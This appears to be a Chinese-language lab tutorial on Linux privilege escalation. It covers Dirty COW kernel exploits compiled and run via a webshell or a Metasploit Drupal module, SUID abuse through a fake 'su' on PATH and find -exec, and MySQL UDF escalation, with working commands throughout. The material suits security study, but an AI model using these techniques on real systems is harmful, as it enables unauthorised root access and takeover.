Linux提权

总体流程

  1. whoami判断权限,直接root则不用提权(weblogic、tomcat、jboss)
  2. 根据系统版本查找漏洞,并利用对应漏洞的exp
  3. 翻目录,根据Linux敏感目录和第三方软件,查找对应的敏感文件

一、内核提权

1.使用流程

(1). 信息收集

命令说明
uname -a打印所有可用的系统信息
uname -r内核版本
uname -m查看系统内核架构
cat /proc/version内核信息
cat /etc/issue发行版本信息
whoami当前用户名
id当前用户信息

(2). 搜索相应exp

(3). 使用exp

2. 脏牛提权

  • Linux Kernel >=2.6.22则可以使用脏牛提权

(1). 原理

(2). 流程

a. 手工上传
  1. 通过webshell连接目标服务器

    webshell连接

  2. 查看服务器内核版本

    内核版本

    内核版本大于2.6.22,可以使用脏牛提权

  3. 查找对应exp

    查找exp

    下载exp

  4. 上传exp

    上传exp

  5. 编译exp并进行使用

    gcc -pthread dirty.c -o dirty -lcrypt
    

    编译并使用

  6. 查看是否创建成功

    查看

  7. 登录该用户

    登录

  8. 使用完成后,销毁firefart密码文件,恢复root

    image-20241029154649378

    成功消除firefart账户,恢复原样

b. msf模块
  1. 靶机、kali改为桥接模式之后,对该网段进行nmap扫描,进行主机发现,找到靶机ip

    找寻靶机ip

  2. nmap扫描该ip,发现存在一端口,通过浏览器访问,到达一web页面

    nmap扫描

    端口详情

  3. 在该页面找寻线索,发现使用了Drupal的CMS,因为Drupal漏洞特别多,故考虑使用msf进行搜寻

    发现Drupal

  4. 在msf中,搜寻Drupal对应的漏洞

    #在kali终端启动msf
    msfconsole
    
    #进入msf后,搜寻相应漏洞
    search Drupal
    

    启动msf

    image-20241029160001320

  5. 这里使用编号=1的exp,设置需要监听的主机,并启动

    use 1
    
    set RHOSTS 192.168.243.55	#靶机ip
    set RPORT 1898		#靶机对应Drupal端口
    run
    

    使用exp

  6. 查看系统内核版本

    • 注意:需要在msf中使用shell指令提前进入交互模式,否则无法使用查看内核命令

      uname -r
      

      进入shell

  7. 退出shell,通过msf上传exp到靶机中

    上传exp

  8. 再次进入shell,对该exp进行编译(也可以提前在kali中编译好并上传)

    g++ -Wall -pedantic -o2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
    
    
  9. 获取交互式shell

    • 先查看是否有python环境,如果没有,则使用其他获取交互式shell方法
    whereis python
    

    image-20241029161302158

    python -c 'import pty; pty.spawn("/bin/bash")'
    

    交互式shell

  10. 执行编译的exp,显示成功

    • 注意:通过该exp提权,无法恢复root用户密码!!!
    ./dcow
    

    成功执行

  11. 通过ssh,能够成功连接该服务器,并且权限为root

    提权成功

二、Suid提权

1. 原理

2. 权限设置

  • suid作用于二进制可执行文件上,当执行这个程序时,会临时切换身份为文件所有者身份

(1). 字母法

chmod u+s [filename]
chmod u-s [filename]
  • root用户权限的x位置上,使用小写s来代表suid权限,如果为大写S,则代表属主没有x权限,该suid权限无效

字母法

(2). 数字法

数字法

chmod 4755 [filename]	#添加suid权限,在普通文件权限前添加数字‘4’
chmod 0755 [filename]	#删除suid权限

3. 流程

(1). 常规

  • 全程是以普通用户权限操作
  1. 通过命令查找具有suid权限的文件

    find / -type f -perm /4000 -print 2>/dev/null
    

    查找suid权限

  2. 查看文件内容

    • 通过反编译demo文件发现,该文件的 suid 操作通过 root 权限切换到其他用户。可通过伪造 su 命令,将恶意 su 文件或su文件所在目录添加到环境变量,篡改 su 的查找顺序,从而在执行 su 时运行自定义的 su 文件

      r2 -A demo		#启动Radare2,进入反编译模式
      pdc @ main		#生成类似于c语言的伪代码
      

    反编译内容

  3. 上传一个su文件到/tmp目录,并赋予该文件可执行权限

    echo "/bin/sh" > su
    chmod 777 su
    

    生成su文件

    查看修改的权限

  4. 将/tmp目录添加到环境变量中

    添加环境变量

  5. 尝试执行demo文件,成功提权

    成功提权

(2). find提权

  1. 查找find指令是否权限为suid

    find /usr/bin -type f -name "find" -perm /4000
    

    查看权限

  2. 直接通过find指令,执行命令

    find test -exec "whoami" \;
    

    执行命令

(3). 其他命令提权

  • bash、less、more、man、Python、perl、ruby、lua、awktcpdump

三、Mysql的UDF提权

  • 只是与Windows所用的dll文件不同

1. 前提条件

  1. secure_file_priv=""
  2. 具有root权限,且myslq数据库以system权限运行
  3. 具有sql语句的执行权限
  4. 要导出到的目录具有可写权限
  5. 系统中的selinux处于关闭状态

2. 提权过程

  • 查找插件库的路径 => 找到对应数据库操作系统的UDF库文件 => 将udf库文件转化为十六进制格式 => 在数据库中写入udf文件到mysql插件库目录 => 查看udf库所支持的函数 => 加载函数 => 执行